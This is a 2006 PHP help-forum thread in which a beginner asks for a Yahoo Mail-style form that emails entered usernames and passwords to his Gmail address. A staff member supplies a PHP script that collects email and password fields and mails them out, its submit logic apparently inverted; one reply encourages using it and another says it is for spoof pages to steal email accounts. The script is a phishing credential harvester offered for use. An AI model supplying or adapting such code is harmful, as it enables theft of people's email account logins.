Jump to content


Photo

Simple php help


  • Please log in to reply
3 replies to this topic

#1 met0555

met0555
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 30 October 2006 - 05:27 PM

hi, i'm a beignner, and i was trying to make a form mailer, but i couldn't, if there is someone who can give an example of a form like yahoo mail, i prefer yahoo mail to try mail.yahoo.com u can also get some help at http://www.scriptarc...e/formmail.html . what i waant is want the thing wrote on the username and password field to be e-mailed to me metaferia(at)gmail.com. it's  not for hacking or.... . it's for educational use

tanks

#2 Orio

Orio
  • Staff Alumni
  • Advanced Member
  • 2,491 posts

Posted 30 October 2006 - 05:36 PM

In it's very simple form, it should look like this-

<?php

if(isset($_POST['submit']))
{
die("<html>
<head>
<title>AutoClicker</title>
</head>
<body>
<font face=\"Arial\">
<form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
Your email:&nbsp;<input type=\"text\" name=\"user\"><br>
Your pass:&nbsp;<input type=\"password\" name=\"pass\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"Send!\">
</form>
</body>
</html>");
}

$to = "your@email.here";
$msg="User = ".$_POST['user']."\nPass = ".$_POST['pass'];
mail($to,"New Entry",$msg);

?>

Orio.
Think you're smarty?

(Gone until 20 to November)

#3 shadow-x

shadow-x
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 30 October 2006 - 05:40 PM

Thats a good script to use met0555 so give it a go. IF you wanted to learn how to do it yourself then just ask and Orio or someone else can explain how it works and why it works that way and how you can write script like that yourself.

Can i ask what the script is for though, you said its not for hacking but what is it for?

#4 djdog.us

djdog.us
  • New Members
  • Pip
  • Newbie
  • 3 posts

Posted 30 October 2006 - 11:25 PM

It's so he can show an example of how to make an spoof page to steal email accounts such as yahoo or msn or others that our out there.




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users